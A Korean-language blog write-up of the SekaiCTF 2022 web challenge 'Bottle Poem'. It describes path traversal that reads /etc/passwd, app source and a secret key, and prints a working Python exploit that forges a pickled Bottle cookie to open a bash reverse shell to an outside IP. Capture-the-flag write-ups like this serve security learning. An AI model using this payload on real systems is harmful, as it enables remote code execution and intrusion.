Post

[SekaiCTF 2022] Bottle Poem

Bottle Poem

Untitled SekaiCTF์˜ ์ฒซ๋ฒˆ์งธ Web๋ฌธ์ œ์ด์ž 1๋‹จ๊ณ„ ๋ฌธ์ œ์˜€์ง€๋งŒ.. ์—„์ฒญ๋‚˜๊ฒŒ ์‚ฝ์งˆํ–ˆ๋‹ค

Untitled

๋ฌธ์ œ์˜ ๋ฉ”์ธ ํŽ˜์ด์ง€์ด๋‹ค. ํ•˜์ดํผ๋งํฌ๋ฅผ ํด๋ฆญํ•ด๋ณด๋ฉด

Untitled

์ด๋ ‡๊ฒŒ ์‹œ๊ฐ€ ๋ณด์ธ๋‹ค. URL์˜ id๋ผ๋Š” ์ธ์ž๋กœ /etc/passwd๋ฅผ ์–ป๋Š”๋ฐ ์„ฑ๊ณตํ–ˆ์ง€๋งŒ FLAG๋Š” ์—†์—ˆ๋‹ค. ๋ฌธ์ œ ์„ค๋ช…์„ ๋‹ค์‹œ ๋ณด๋ฉด FLAG๋Š” ์„œ๋ฒ„์— ์‹คํ–‰ ํŒŒ์ผ๋กœ ์กด์žฌํ•œ๋‹ค๊ณ  ์ ํ˜€์žˆ๋‹ค. ์ฆ‰ ์ด๋Ÿฐ ๋ฐฉ์‹์œผ๋กœ๋Š” ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•  ์ˆ˜ ์—†๋‹ค. RCE๋ฅผ ํ•ด์•ผ ํ•  ๊ฒƒ ๊ฐ™๋‹ค.

/proc/self/cmdline ๊ฒฝ๋กœ์— ๋“ค์–ด๊ฐ€์„œ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์‹คํ–‰๋œ ๋ฐฉ์‹์„ ํŒŒ์•…ํ•ด app.py์˜ ๊ฒฝ๋กœ๋ฅผ ์ฐพ์•˜๋‹ค.

python3 -u /app/app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#app.py
from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re


@route("/")
def home():
    return template("index")


@route("/show")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.id
    if re.search("^../app", param):
        return "No!!!!"
    requested_path = os.path.join(os.getcwd() + "/poems", param)
    try:
        with open(requested_path) as f:
            tfile = f.read()
    except Exception as e:
        return "No This Poems"
    return tfile


@error(404)
def error404(error):
    return template("error")


@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=sekai)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=sekai)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8080)

app.py์˜ ์ฝ”๋“œ์ด๋‹ค. ๋ชฐ๋ž๋˜ ๊ฒฝ๋กœ์ธ /sign์ด ์žˆ๋‹ค.

Untitled

์ ‘์†ํ•ด๋ณด๋ฉด ์ด๋Ÿฌํ•œ ๋ฌธ๊ตฌ๊ฐ€ ๋œจ๊ณ  ์•„๋ฌด ์ผ๋„ ์ผ์–ด๋‚˜์ง€ ์•Š๋Š”๋‹ค. ํ˜„์žฌ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋Š” ์œ ์ผํ•œ ๊ฐ’์ธ Cookie๋ฅผ ์ด์šฉํ•ด์•ผ ํ•  ๊ฒƒ ๊ฐ™๋‹ค.

Untitled

Bottle Documentation
Bottle framework Docmentation 16ํŽ˜์ด์ง€๋ฅผ ๋ณด๋ฉด Bottle์˜ ์ฟ ํ‚ค๋“ค์€ ์ž๋™์ ์œผ๋กœ pickle๋กœ ์ง๋ ฌํ™”๋˜๊ณ  ์—ญ์ง๋ ฌํ™”๋œ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. pickle ์—ญ์ง๋ ฌํ™” ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์—ฌ Cookie๊ฐ’์„ ์ž˜ ์กฐ์ž‘ํ•ด ๋ฆฌ๋ฒ„์Šค ์‰˜์„ ๋”ธ ์ˆ˜ ์žˆ์„ ๊ฒƒ ๊ฐ™๋‹ค.

/app/config/secret.py Untitled

๋จผ์ € ์ฟ ํ‚ค๋ฅผ ๋‚ด๋ง˜๋Œ€๋กœ ๋งŒ๋“ค๊ธฐ ์œ„ํ•ด ๊ฒฝ๋กœ๋ฅผ ํ™•์ธํ•ด sekai๊ฐ’์„ ์•Œ์•„๋ƒˆ๋‹ค.


Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import  os
from  bottle  import *
import  requests
sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
url = "http://bottle-poem.ctf.sekai.team/sign"

class RCE:
  def  __reduce__(self):
    cmd = ("bash -c 'exec bash -i &>/dev/tcp/43.200.117.188/56501 <&1'")
    return  os.system, (cmd,)

response.set_cookie("name", RCE(), secret=sekai)
payload = str(response)
payload = payload.replace("Content-Type: text/html; charset=UTF-8\nSet-Cookie: name=", '')
payload = payload.strip()
payload_send = {"name":f'{payload}'}
print("[+] Sending %s" % payload_send)
send_exploit = requests.get(url, cookies=payload_send)

์œ„ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰์‹œ์ผœ revers shell์„ ํš๋“ํ•ด flag๋ฅผ ์‹คํ–‰์‹œ์ผฐ๋‹ค.

Untitled

SEKAI{W3lcome_To_Our_Bottle}

This post is licensed under CC BY 4.0 by the author.